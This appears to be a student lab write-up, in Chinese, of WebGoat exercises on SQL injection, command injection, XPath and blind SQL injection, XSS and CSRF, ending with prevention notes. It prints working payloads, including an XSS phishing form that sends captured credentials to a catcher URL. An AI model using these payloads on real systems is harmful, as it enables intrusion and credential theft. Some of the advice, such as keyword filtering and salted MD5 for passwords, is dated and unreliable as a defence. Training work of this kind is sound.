題目是想辦法獲得數據庫全部人的信用卡號,用Smith登陸後,獲得Smith的兩個信用卡號,如圖html
但如何才能獲得全部人的信用卡號呢?web
只須要輸入' or 1 = ' 1
,這樣構造能夠將引號閉合,再or上一個永真式,就能屏蔽掉前面的條件。sql
在User Name中以這種格式注入:Use CR (%0d) and LF (%0a) for a new line。好比輸入20155225jzy%0d%0aLogin succeeded !
數據庫
這個題目也是要獲得數據庫所有天氣數據,但沒有一個能夠輸入的文本框怎麼辦呢?瀏覽器
查看頁面源代碼,在輸入下拉框中,向後臺提交value值,因此只需在後面加上or 1=1 永真式便可。安全
登陸成功:服務器
仍是能夠用修改頁面源碼的方法。在後面加上可以在目標主機上執行的命令:"& netstat -an & ipconfig"cookie
可見直接改變了下拉框選項,裏面出現了咱們但願系統執行的命令。網絡
成功:xss
開始咱們想在密碼框輸入' or 1=1 --注入,可是失敗了。查看網頁源碼發現,對密碼框輸入進行了限制。
修改密碼限制以後,成功登陸:
這是一個職員私人數據查詢系統,咱們的目的是看到其餘職員的信息。
XPath 是一門在 XML 文檔中查找信息的語言。除了在輸入1 = 1之外,還須要選擇一個XML節點,輸入'a' = 'a。
因此只需在User Name輸入20155225jzy' or 1=1 or 'a'='a
在Password輸入20155225jzy
便可成功得到所用員工信息。
使用盲字符串SQL注入進行爆破,感受這個好難啊,不太明白邏輯,因此去看了一下答案。
解決方法是經過將一個布爾表達式注入到預腳本SQL查詢中來找出名稱。
首先是和H比較:101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );返回false並顯示無效帳號。
變成< 'L' 會返回true,這樣咱們就知道這個字母是在H和Lz之間。再通過幾回查詢就能判斷出第一個字母是J。
同理,最終能夠推出用戶名是Jill。
用XSS和HTML注入,在搜索框注入下面這段html:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
而後會看到一個能夠輸入用戶名密碼的表單,直接點擊登陸。WebGoat會將輸入的信息捕獲並反饋回來,攻擊成功。
這是存儲型XSS攻擊。在Title裏輸入學號,在Message裏輸入<script>alert("20155225 attack succeed!");</script>
攻擊成功。
寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。如圖:
SQL注入攻擊值得是經過構建特殊的輸入做爲參數傳入web應用程序,而這些輸入大都是SQL語法裏的一下組合,
經過執行SQL語句進執行攻擊者所要的操做,其主要緣由是程序沒有細緻的過濾用戶輸入的數據,導致非法數據侵入系統。
預防方法:
一、首先要對輸入的數據進行過濾,將常見的sql語句的關鍵詞:select or ' " 等字符進行過濾。
二、對在數據庫中對密碼進行加密,驗證登錄的時候先將 密碼進行加密再與數據庫中加密的密碼進行對比,若此時一致則基本是安全的。
三、對數據庫中密碼採用經常使用的MD5加密時儘可能在字符串的前邊和後邊加上指定字符後在進行加密,這樣即使是看到了數據庫也很難破解密碼。
XSS是Cross-site scripting,爲了和CSS層疊樣式表區分因此取名XSS。是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。
XSS攻擊的主要目的則是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的生份登錄,作一些破壞。預防措施,防止下發界面顯示html標籤,把</>等符號轉義
預防方法:
當惡意代碼值被做爲某一標籤的內容顯示:在不須要html輸入的地方對html 標籤及一些特殊字符( 」 < > & 等等 )作過濾,將其轉化爲不被瀏覽器解釋執行的字符。
當惡意代碼被做爲某一標籤的屬性顯示,經過用 「將屬性截斷來開闢新的屬性或惡意方法:屬性自己存在的 單引號和雙引號都須要進行轉碼;對用戶輸入的html 標籤及標籤屬性作白名單過濾,也能夠對一些存在漏洞的標籤和屬性進行專門過濾。
預防方法:
(1).Cookie Hashing(全部表單都包含同一個僞隨機值):
這多是最簡單的解決方案了,由於攻擊者不能得到第三方的Cookie(理論上),因此表單中的數據也就構造失敗了:在表單裏增長Hash值,以認證這確實是用戶發送的請求。而後在服務器端進行Hash值驗證
(2).驗證碼
這個方案的思路是:每次的用戶提交都須要用戶在表單中填寫一個圖片上的隨機字符串。
(3).One-Time Tokens(不一樣的表單包含一個不一樣的僞隨機值)
經過此次實驗,我瞭解到web攻擊的一些基本內容,也感覺到web安全有很廣闊的探索空間,但願之後還會有機會繼續學習。